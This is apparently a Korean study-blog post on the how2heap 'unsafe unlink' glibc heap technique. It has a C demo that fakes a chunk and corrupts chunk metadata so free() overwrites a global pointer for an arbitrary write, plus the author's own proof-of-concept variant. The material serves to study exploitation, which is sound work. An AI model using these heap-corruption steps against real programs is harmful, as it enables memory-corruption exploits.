#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t *chunk0_ptr; int main() { printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 14.04/16.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2; printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]); printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n"); chunk1_hdr[1] &= ~1; printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n"); free(chunk1_ptr); printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string); }
정리.
힙 청크 구조는 아래와 같다.
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
먼저 unlink를 우회하기 위해서 fd, bk를 자기 자신으로 작성한다.
그 다음에 chunk1을 조작해서 prev_in_use bit (이전 chunk가 free 되있는지)와 prev_size를 지정해준다.
그런 다음에 free를 해주게 되는데 chunk0(free 함수를 속임)와 chunk1이 free되었기 때문에
위와 malloc_chunk의 fd, bk를 사용할 수 있다. 즉, 자기 fd값을 덮어씌우게 되면 어디든지 가리킬 수 있게 된다.
아래는 이해하기 위해서 만든 poc
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include "./how2heap/dumpcode.h" uint64_t *a; int main(){ uint64_t *b; int head_size = 0x02; a = malloc(0x80); b = malloc(0x80); dumpcode(a - head_size, 0x80); dumpcode(b - head_size, 0x80); a[2] = (uint64_t)&a - sizeof(uint64_t) * 3; a[3] = (uint64_t)&a - sizeof(uint64_t) * 2; uint64_t *ptr = b - head_size; ptr[0] = (uint64_t)0x80; ptr[1] &= ~1; // in use option disable. free(b); dumpcode(a - head_size, 0x160); printf("Yeah %p\n", a[3]); a[3] = (uint64_t)&head_size; a[0] = 9505; printf("is changed? %d\n", head_size); return 0; }
'공부' 카테고리의 다른 글
[C++] 프로그램 관리자 권한 요구 (0) | 2017.01.04 |
---|---|
[how2heap] house_of_spirit (0) | 2016.12.28 |
[how2heap] fast bin dup into stack (0) | 2016.12.25 |
[how2heap] fastbin dup (0) | 2016.12.25 |
[how2heap] first_fit (0) | 2016.12.25 |